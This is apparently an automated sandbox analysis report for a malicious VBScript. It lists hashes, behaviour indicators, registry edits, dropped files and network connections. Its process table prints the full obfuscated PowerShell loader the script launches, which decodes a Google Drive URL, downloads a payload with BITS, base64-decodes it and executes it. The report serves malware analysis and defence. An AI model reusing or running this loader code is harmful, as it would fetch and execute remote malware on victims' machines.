| File name: | 2023072401 DataMarch.vbs |
| Full analysis: | https://app.any.run/tasks/8694aa48-00b7-4892-9b61-24a57898561e |
| Verdict: | Malicious activity |
| Analysis date: | March 27, 2024, 06:46:38 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | F4B9002A475115CB909549D539B624BD |
| SHA1: | 936174112283C206AF454063673E4A068328E85B |
| SHA256: | D5FF5E2DAA191C35C06516F89B81BC682E7AC53BDFAEA3EDE48E84191532F375 |
| SSDEEP: | 3072:1pK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8DyRQe2:1pKyPeadLaz+k0zn1j7rZeqGbHfNccku |
MALICIOUS
Unusual connection from system programs
- wscript.exe (PID: 3936)
SUSPICIOUS
Base64-obfuscated command line is found
- wscript.exe (PID: 3936)
Reads the Internet Settings
- powershell.exe (PID: 2420)
- wscript.exe (PID: 3936)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 3936)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3936)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 3936)
INFO
Creates or changes the value of an item property via Powershell
- wscript.exe (PID: 3936)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
41
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2420 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Septicaemia;++$Septicaemia;$Septicaemia=$Septicaemia-1;Function poleremidlets ($Borrises){$Kilotonnets=5;$Kilotonnets++;For($Pimas=5; $Pimas -lt $Borrises.Length-1; $Pimas+=$Kilotonnets){$chefsekretrens = 'substring';$Tjhuse=$Borrises.$chefsekretrens.Invoke($Pimas, 1);$Inidoneous=$Inidoneous+$Tjhuse}$Inidoneous;}$Webstedet=poleremidlets ' UnarhSkrpntVandit FirkpFod osMukke:m tho/Skmte/Stopsd M,ddrCheyniwatervBrolgemarco. Lullg SeksoDelegoDruesgV lvilErythe Maal.T.polcOutshoKarolms.okk/PosituDi secOffic?SogneeInterxPassipLoa boForetrgaitet Mind=Uefabd Pi.hoOversw Bengn OrdslJ.legoRabaraSulcudEc,yc&LodoiiDatidd mich=,ornp1Ov rtXMizzlJHvileTEben cNit,oTArgumNPn umtJdiskWSkran1Sa.atEProcaMClitt8GarneKOp.atWmedic3CompuGUn erkTempo9 OthoDSal.sFFo.ni6Ab traPa asv,fkobiDottrrBere aEquipuTallo7 PythrPs udKRadiaiDi,bez Tall ';$Nerveproof=$Webstedet.split([char]62);$Webstedet=$Nerveproof[0];$Barskere=poleremidlets 'Dwyerid.gsbeMervex ,dsk ';$Borvand = poleremidlets 'Depen\SamarsTriu y eleasSchmewUdsago PorfwPtyal6 ,enn4 Unsi\ GeldWPos,kiLini,nEle.zdIntimoVandewSymphs StegP SkudoAnlbswMultieDorsirKonceS PershCelineSlumblNona.lSpeos\Bur.uvUmrke1Fil e.Spi.n0Vatte\Al,espapplioA,oniwSatt,eGldsfrmiljssSvel,hReindeOverclSplenlFo st.RulnieSygehxEf,ereBl.se ';&($Barskere) (poleremidlets 'Apo o$BrediTHejseuCor,icPreadkR.gimiBlenneE,nes=Digni$Inka,ePreounKl psvFagti:AngulwPass.iPrelinBoj.bdH.nviidownsrUnapp ') ;&($Barskere) (poleremidlets 'Amyla$TilkeBAdmiro Ce,erMu,amvUnforaSav,pnSpytkd.obbi=Eldin$moeblTStrm,u Fl.ocenwi.kCacogiSlowwe.hite+lucum$TrykfBPreaoo SkidrTe.pevAlv,raIncrenDisyodTeglv ') ;&($Barskere) (poleremidlets 'Ferie$opvinM vegeeWupged UkrabToraee jecesPhyletPereseDronnm Revem For.eAfblel B,flsshelleLagers Gald Faerd= bake Sem,s(Cosmo(Paleogsg,stwTempomTtteki.rans NoneqwH lskiIndskn Sial3ov rt2Serot_Mods pSelvsrSam.no TorsctospaeDel,lsObjecs Supp Temas-I.spiFPtero InequPUhomorHenveo kribcRnkese ,ftesTr.chsAfproIA.mond ,van=Semip$ Aila{TyresPsyllaI pierDGoffe}appen)Shall.OnstaCForsooMicromCottomOrthoaDy.kenVerdedOverpLKittiiDosednGastreFlygt)Opbyg Surm.-V ndks Lezzp,ribllMyce.iSk.altanalp Samme[ Peric W,lshDefola FinprBypla]Cine 3Legio4S yrb ');&($Barskere) (poleremidlets 'Mamme$VejrpFPurpurTegnte Gal,n PnheuRegnslGraedaMurb, Navne=ki.br Anbe$Li,anMamp.ieKh.ndd onagbGeulae A,trsDoingt FanteCrystmBil.rm Wa.sewh,gglDynams SadeeTi los Fren[udene$.orgeMUdkomeR,prid ArctbBandee Sm lsFunk tSpydge ,rofmUngovmChl.reBystalBoligsnis,eeChonisRosea.RatbacurnehoF ksiuWolfrn AmertBundk-Skimp2helbr]Hocke ');&($Barskere) (poleremidlets 'Sawai$UnsurS.othok.abbaeLokalfKemika aksebAds.rr VoldiUnwivksrget=Stan,(GrownTanagee.cales Sprit Kono-GudhePEpi ea Ec itnvntehholdn Fiber$KnudeBDataro Pastr Tor vSy,epaH,tidnNyte.dU,tyn)Bil.i Aag,r-DimenABagagnSofj,dMasse Op qu(Souly[El laImytoln.onprtNonc,PUnciatSu.lerLsrev] Frih:Antir:.yrrhssh,slire axz emibeRalli .ridp-ReddeeReverq Mus skr f8liter)Flyve ') ;if ($Skefabrik) {.$Borvand $Frenula;} else {;$Nouses=poleremidlets ' FotoSSit atHelpeaFe.lpr ItertAnsva-H,ntnBTjenei ndemtSkis sFlippTNon,erForpaaGydelnPhyllsFaujdfSundhe ,honrP eud Epica-VirkeSRds.moIarovuOver rMobi cBlaz,eVmmel Stirr$ U.inW,rndfe Supeb morps FgtetMeatie Cowed Ki,ieBe.alt ygn Ouan,-LyricDInd,eeTaskvsRestat NondiLagrenN,ninaF stltTurn iSiroco UndenStrmp Shaug$ Ih.dTYuhdouAdgancfrelskJaevni CezaeIsogr ';&($Barskere) (poleremidlets 'T,ico$UnderTFe,rsuTorumcOver.kVandliNik,ee,ugni= S.gn$AntibeusigtnEva,uv hood:.orkraSvanepAfholp Gormd Ag.na TekstIntimaL.gno ') ;&($Barskere) (poleremidlets ' ka.eI G.anmUnostpUnsheoVestirL,niktE,oxi-SprjtMSemimohjemsdAnal,uSlanklAnt deSkot DentaB,unkpiRec,atCastosServiTato erKnirkaMetapnS,inasNervefHvil e rdder Bude ') ;$Tuckie=$Tuckie+'\Slaughterman.Pro';while (-not $Champlev) {&($Barskere) (poleremidlets 'Debbi$Eag rC redsh The.aN velmAircopEventlInduceUndervActin=Potas( tartTPreoveBrighsKommat Treh-Loss Pbor.oa Kbestfer,ihPrevi Fasc$TheraTMa seumethocChic.k BipoiHypere.andl) Sk,o ') ;&($Barskere) $Nouses;&($Barskere) (poleremidlets 'UpleaSBrnektDer na OverrOverdtUnu h-KoralS Ensll Sm,leFe,rieRussepTermo Ldres5Headg ');$Webstedet=$Nerveproof[$Multivalued++%$Nerveproof.count];}&($Barskere) (poleremidlets ',hevr$ kommTShallh SnekutranssExtrahDokumiSikke Prepr=,atte WindmGSiksaeFornutForec-unexpC PaleoKathonKanapthemmeeEksplnDokumtInter P,cu$OversTR,fleuGastrcSho.akOfficiMorineResa, ');&($Barskere) (poleremidlets ' F.nk$Fa,osIQu,ltn DemovSnesceSneglsQuinot .ekre kkelrSwordiSopitnTrucigGardesGalvaffre eoGratirfundue LedsnpercoiGraasnSkindguomgne FisknVotivsCou.t7Ble,s2 J,ve tkkel=Synsk Ecos,[RaderS SulfyDa drs appotAdolpeDo bsmCh.na.AnsttCTr.itoCylinnYeomav Bie.e .drerBarbetMyrio]Fermi:Outra:MejetFGubberMaximoUromemHarmoBSlg saLanessShedte Kuty6Misi,4 SlavSAllegtHematrTroldiTailonPaaskg Bilb(Non,i$HyrdeTSemichEme,iu PrinsBedsthMutuaiCasan)sacra ');&($Barskere) (poleremidlets 'Gymna$SkridSGro,gastjplnUdgyddAntiph.ntimoIteacgKontisIndho B os=Kursi rem.[Unki,SD.lagyJovias Ti.jtRnkefe Me smGenne. F uvTSpl,neSkydexRetintKnock.lyspuEAllicnFalsecAgyioo A.uld tikvi.vrganf,congJeewh]Jutti:Ple,i:NdvenAMasteSHypoeCBesquISkalaI B,ev.Salu,G Fl meSquatt,jordSBilletBogierD.mokiHerlin a.vrg Brum(My,hu$ S,clIkingsn Tr,av .pbreS,robs DacttmandoeSepharSvarsiHaberngism,g,nsposTriadfPsykooMeredrsoixae BournbeskeiVedhonEquilgalka.e vovln Ref,sPrima7Meato2Salva) De,o ');&($Barskere) (poleremidlets ' ober$Decedr A,ree SluttPlectt TennrVe,meoAmp.leSqualnFrdsedTeleae Grees Rest=Dotte$MiljzSSlagtaNo,manSagsrd,ingeh Una oKlamhg Ph rsi,pyg.ElefasHyalouKropsbSemipsAdarutHa serForesiSadelnNdsagg Aver(Sp,re3fabri3 Vacc4.kyde3Leves5Tredj3Grovk,Jagtf2E dop5 upe1Ge ne7Fli.e0Doede) Vira ');&($Barskere) $rettroendes;}" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3936 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\2023072401 DataMarch.vbs" | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
Total events
10 948
Read events
10 886
Write events
50
Delete events
12
Modification events
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates |
| Operation: | delete value | Name: | 9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
Value: | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
| Operation: | write | Name: | Blob |
Value: 0F00000001000000200000009065F32AFC2CFEA7F452D2D6BE94D20C877EFC1C05433D9935696193FDCC05D80300000001000000140000009F6134C5FA75E4FDDE631B232BE961D6D4B97DB6200000000100000047030000308203433082022BA00302010202147327B7C17D5AE708EF73F1F45A79D78B4E99A29F300D06092A864886F70D01010B05003031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C084469676943657274301E170D3233303932393130353030335A170D3339303530383130353030335A3031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C08446967694365727430820122300D06092A864886F70D01010105000382010F003082010A0282010100D91B7A55548F44F3E97C493153B75B055695736B184640D7335A2E6218083B5A1BEE2695209350E57A3EB76FBC604CB3B250DF3D9D0C560D1FBDFE30108D233A3C555100BE1A3F8E543C0B253E06E91B6D5F9CB3A093009BC8B4D3A0EB19DB59E56DA7E3D637847970D6C2AEB4A1FCF3896A7C080FE68759BAA62E6AAA8B7C7CBDA176DDC72F8D259A16D3469E31F19D2959904611D730D7D26FCFED789A0C49698FDFABF3F6727D08C61A073BB11E85C96486D49B0E0D38364C008A5EB964F8813C5DF004F9E76D2F8DB90702D800032674959BF0DF823785419101CEA928A10ACBAE7E48FE19202F3CB7BCF416476D17CB64C5570FCED443BD75D9F2C632FF0203010001A3533051301D0603551D0E041604145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7301F0603551D230418301680145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7300F0603551D130101FF040530030101FF300D06092A864886F70D01010B05000382010100AF2218E4CA18144728FCC76EA14958061522FD4A018BED1A4BFCC5CCE70BC6AE9DF7D3795C9A010D53628E2B6E7C10D6B07E53546235A5EE480E5A434E312154BF1E39AAC27D2C18D4F41CBBECFE4538CEF93EF62C17D187A7F720F4A9478410D09620C9F8B293B5786A5440BC0743B7B7753CF66FBA498B7E083BC267597238DC031B9BB131F997D9B8164AAED0D6E328420E53E1969DA6CD035078179677A7177BB2BF9C87CF592910CD380E8501B92040A39469C782BA383BEAE498C060FCC7C429BC10B7B6B7A0659C9BE03DC13DB46C638CF5E3B22A303726906DC8DD91C64501EBFC282A3A497EC430CACC066EE4BF9C5C8F2F2A05D0C1921A9E3E85E3 | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
| Operation: | delete value | Name: | File |
Value: | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
| Operation: | write | Name: | Blob |
Value: 1400000001000000140000005D6CA352CEFC713CBBC5E21F663C3639FD19D4D70300000001000000140000009F6134C5FA75E4FDDE631B232BE961D6D4B97DB6200000000100000047030000308203433082022BA00302010202147327B7C17D5AE708EF73F1F45A79D78B4E99A29F300D06092A864886F70D01010B05003031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C084469676943657274301E170D3233303932393130353030335A170D3339303530383130353030335A3031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C08446967694365727430820122300D06092A864886F70D01010105000382010F003082010A0282010100D91B7A55548F44F3E97C493153B75B055695736B184640D7335A2E6218083B5A1BEE2695209350E57A3EB76FBC604CB3B250DF3D9D0C560D1FBDFE30108D233A3C555100BE1A3F8E543C0B253E06E91B6D5F9CB3A093009BC8B4D3A0EB19DB59E56DA7E3D637847970D6C2AEB4A1FCF3896A7C080FE68759BAA62E6AAA8B7C7CBDA176DDC72F8D259A16D3469E31F19D2959904611D730D7D26FCFED789A0C49698FDFABF3F6727D08C61A073BB11E85C96486D49B0E0D38364C008A5EB964F8813C5DF004F9E76D2F8DB90702D800032674959BF0DF823785419101CEA928A10ACBAE7E48FE19202F3CB7BCF416476D17CB64C5570FCED443BD75D9F2C632FF0203010001A3533051301D0603551D0E041604145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7301F0603551D230418301680145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7300F0603551D130101FF040530030101FF300D06092A864886F70D01010B05000382010100AF2218E4CA18144728FCC76EA14958061522FD4A018BED1A4BFCC5CCE70BC6AE9DF7D3795C9A010D53628E2B6E7C10D6B07E53546235A5EE480E5A434E312154BF1E39AAC27D2C18D4F41CBBECFE4538CEF93EF62C17D187A7F720F4A9478410D09620C9F8B293B5786A5440BC0743B7B7753CF66FBA498B7E083BC267597238DC031B9BB131F997D9B8164AAED0D6E328420E53E1969DA6CD035078179677A7177BB2BF9C87CF592910CD380E8501B92040A39469C782BA383BEAE498C060FCC7C429BC10B7B6B7A0659C9BE03DC13DB46C638CF5E3B22A303726906DC8DD91C64501EBFC282A3A497EC430CACC066EE4BF9C5C8F2F2A05D0C1921A9E3E85E3 | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6 |
| Operation: | write | Name: | Blob |
Value: 190000000100000010000000BCC80DAA2F98A4692805BFF4CBB372EB0300000001000000140000009F6134C5FA75E4FDDE631B232BE961D6D4B97DB6200000000100000047030000308203433082022BA00302010202147327B7C17D5AE708EF73F1F45A79D78B4E99A29F300D06092A864886F70D01010B05003031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C084469676943657274301E170D3233303932393130353030335A170D3339303530383130353030335A3031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C08446967694365727430820122300D06092A864886F70D01010105000382010F003082010A0282010100D91B7A55548F44F3E97C493153B75B055695736B184640D7335A2E6218083B5A1BEE2695209350E57A3EB76FBC604CB3B250DF3D9D0C560D1FBDFE30108D233A3C555100BE1A3F8E543C0B253E06E91B6D5F9CB3A093009BC8B4D3A0EB19DB59E56DA7E3D637847970D6C2AEB4A1FCF3896A7C080FE68759BAA62E6AAA8B7C7CBDA176DDC72F8D259A16D3469E31F19D2959904611D730D7D26FCFED789A0C49698FDFABF3F6727D08C61A073BB11E85C96486D49B0E0D38364C008A5EB964F8813C5DF004F9E76D2F8DB90702D800032674959BF0DF823785419101CEA928A10ACBAE7E48FE19202F3CB7BCF416476D17CB64C5570FCED443BD75D9F2C632FF0203010001A3533051301D0603551D0E041604145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7301F0603551D230418301680145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7300F0603551D130101FF040530030101FF300D06092A864886F70D01010B05000382010100AF2218E4CA18144728FCC76EA14958061522FD4A018BED1A4BFCC5CCE70BC6AE9DF7D3795C9A010D53628E2B6E7C10D6B07E53546235A5EE480E5A434E312154BF1E39AAC27D2C18D4F41CBBECFE4538CEF93EF62C17D187A7F720F4A9478410D09620C9F8B293B5786A5440BC0743B7B7753CF66FBA498B7E083BC267597238DC031B9BB131F997D9B8164AAED0D6E328420E53E1969DA6CD035078179677A7177BB2BF9C87CF592910CD380E8501B92040A39469C782BA383BEAE498C060FCC7C429BC10B7B6B7A0659C9BE03DC13DB46C638CF5E3B22A303726906DC8DD91C64501EBFC282A3A497EC430CACC066EE4BF9C5C8F2F2A05D0C1921A9E3E85E3 | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3936) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
Executable files
0
Suspicious files
3
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3936 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | compressed | |
MD5:— | SHA256:— | |||
| 3936 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:— | SHA256:— | |||
| 3936 | wscript.exe | C:\Users\admin\AppData\Local\Temp\Cab23EE.tmp | compressed | |
MD5:— | SHA256:— | |||
| 3936 | wscript.exe | C:\Users\admin\AppData\Local\Temp\Tar23EF.tmp | binary | |
MD5:— | SHA256:— | |||
| 2420 | powershell.exe | C:\Users\admin\AppData\Local\Temp\4xdrd4zh.bxv.ps1 | binary | |
MD5:— | SHA256:— | |||
| 2420 | powershell.exe | C:\Users\admin\AppData\Local\Temp\rmrb44zq.dgh.psm1 | binary | |
MD5:— | SHA256:— | |||
| 2420 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:— | SHA256:— | |||
| 2420 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
8
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3936 | wscript.exe | GET | 200 | 217.20.57.20:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?8ce7b6eb33a7060f | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | unknown |
3936 | wscript.exe | 217.20.57.20:80 | ctldl.windowsupdate.com | — | US | unknown |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1560 | svchost.exe | 239.255.255.250:1900 | — | — | — | unknown |
856 | svchost.exe | 142.250.186.78:443 | drive.google.com | GOOGLE | US | whitelisted |
856 | svchost.exe | 142.250.185.161:443 | drive.usercontent.google.com | GOOGLE | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ctldl.windowsupdate.com |
| whitelisted |
drive.google.com |
| shared |
drive.usercontent.google.com |
| unknown |